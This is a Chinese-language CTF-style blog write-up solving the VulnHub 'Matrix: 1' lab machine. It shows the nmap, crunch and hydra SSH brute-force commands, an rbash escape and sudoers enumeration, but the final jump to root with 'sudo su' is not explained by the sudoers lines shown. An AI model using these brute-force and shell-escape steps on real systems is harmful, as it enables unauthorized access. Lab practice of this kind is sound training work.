[資訊安全] VulnHub – Matrix: 1 Write-up

Photo by Ksenia Makagonova on Unsplash

由於在 VulnHub 上把 Kioptrix 系列都解完了,看其他朋友接續有解 Matrix ,就載下來玩玩看了,結果題型就像 CTF 一樣,充滿各種提示,解這種題型就算是練習操作工具的熟練度吧,該篇文章記錄了解題過程。

目錄

環境設定

靶機下載: https://www.vulnhub.com/entry/matrix-1,259/
解壓縮之後是一個 ova 檔案,直接餵給 VMWare 吃,就可以完成布署了,並且網路環境採用 NAT 。

尋找靶機

透過 nmap 192.168.147.1/24 把靶機找出來,抓到位置為 192.168.147.135,並且服務上面有 22、80、31337 Ports。

Matrix Port Scan

服務探勘

首先在 80 Port 底下是個使用 Python 架設的 SimpleHTTPServer 服務,並且頁面上有提示。

Matrix Main Page

然後底下就一張小白兔的圖片,檔名又是一個提示 p0rt_31337.png,光用 nmap 就把 Port 掃出來了。

隨後直接瀏覽 Port 31337,是一個很雷同的頁面,但在 F12 底下發現底下這行。

Base64 解出

echo "Then you'll see, that it is not the spoon that bends, it is only yourself. " > Cypher.matrix

藉此猜測有個 Cypher.matrix 的檔案,並且成功下載下來,看得出是經過加密的,經過 Google 得知,這是 Brainfuck 加密,很常見於 CTF,只是我還沒遇過,顯然經驗不足阿…!

+++++ ++++[ ->+++ +++++ +<]>+ +++++ ++.<+ +++[- >++++ <]>++ ++++. +++++
+.<++ +++++ ++[-> ----- ----< ]>--- -.<++ +++++ +[->+ +++++ ++<]> +++.-
-.<++ +[->+ ++<]> ++++. <++++ ++++[ ->--- ----- <]>-- ----- ----- --.<+
+++++ ++[-> +++++ +++<] >++++ +.+++ +++++ +.+++ +++.< +++[- >---< ]>---
---.< +++[- >+++< ]>+++ +.<++ +++++ ++[-> ----- ----< ]>-.< +++++ +++[-
...
.<+++ +++++ [->++ +++++ +<]>+ +++++ +++++ ++++. ----- ----. <++++ ++++[
->--- ----- <]>-- ----. <++++ ++++[ ->+++ +++++ <]>++ +++++ +++++ ++++.
<+++[ ->--- <]>-- ----. <++++ [->++ ++<]> ++..+ +++.- ----- --.++ +.<++
+[->- --<]> ----- .<+++ ++++[ ->--- ----< ]>--- --.<+ ++++[ ->--- --<]>
----- ---.- --.<

使用線上工具 brainfuck 解密後得到以下內容。

You can enter into matrix as guest, with password k1ll0rXX

Note: Actually, I forget last two characters so I have replaced with XX try your luck and find correct string of password.

看樣子得到 user guest 的使用者密碼了,接著試著使用 ssh 登入,但登不進去,猜測密碼後方的 XX 為,[a-z0-9] 可以使用工具 crunch 產生密碼字典檔。

crunch 8 8 -t [email protected]% >> 135_ssh_pwd_list.txt
crunch 8 8 -t k1ll0r%@ >> 135_ssh_pwd_list.txt

然後用 hydra 去爆破 SSH 。

hydra -l guest -p 135_ssh_pwd_list.txt -t 5 -vV 192.168.147.135 ssh
hydra -l guest -P 135_ssh_pwd_list.txt -t 1 -vV 192.168.147.135 ssh

取得密碼為 k1ll0r7n,取得 shell,嘗試使用 ls 瀏覽該目錄下的檔案,得到。

-rbash: /bin/ls: restricted: cannot specify `/' in command names

這邊參考 shell bypass 的方法:
https://www.exploit-db.com/docs/english/44592-linux-restricted-shell-bypass-guide.pdf
https://xz.aliyun.com/t/2333

ssh [email protected] -t "bash --noprofile"

成功拿到 bash 接著查看 /etc/sudoers 得到以下資訊。

guest ALL=(trinity) NOPASSWD: /bin/cp
trinity ALL=(root) NOPASSWD: /home/trinity/oracle

所以就直接 sudo su 拿到 root ,並且在 root 的目錄下拿到 Flag。

   _,-.
,-'  _|                  EVER REWIND OVER AND OVER AGAIN THROUGH THE
|_,-O__`-._              INITIAL AGENT SMITH/NEO INTERROGATION SCENE
|`-._\`.__ `_.           IN THE MATRIX AND BEAT OFF
|`-._`-.\,-'_|  _,-'.
     `-.|.-' | |`.-'|_     WHAT
        |      |_|,-'_`.
              |-._,-'  |     NO, ME NEITHER
         jrei | |    _,'
              '-|_,-'          IT'S JUST A HYPOTHETICAL QUESTION

結論:

這根本 CTF 題型吧, 的題目設計的很刻意,比起 Kioptrix 很沒有在打滲透的感覺。


發佈留言

這個網站採用 Akismet 服務減少垃圾留言。進一步瞭解 Akismet 如何處理網站訪客的留言資料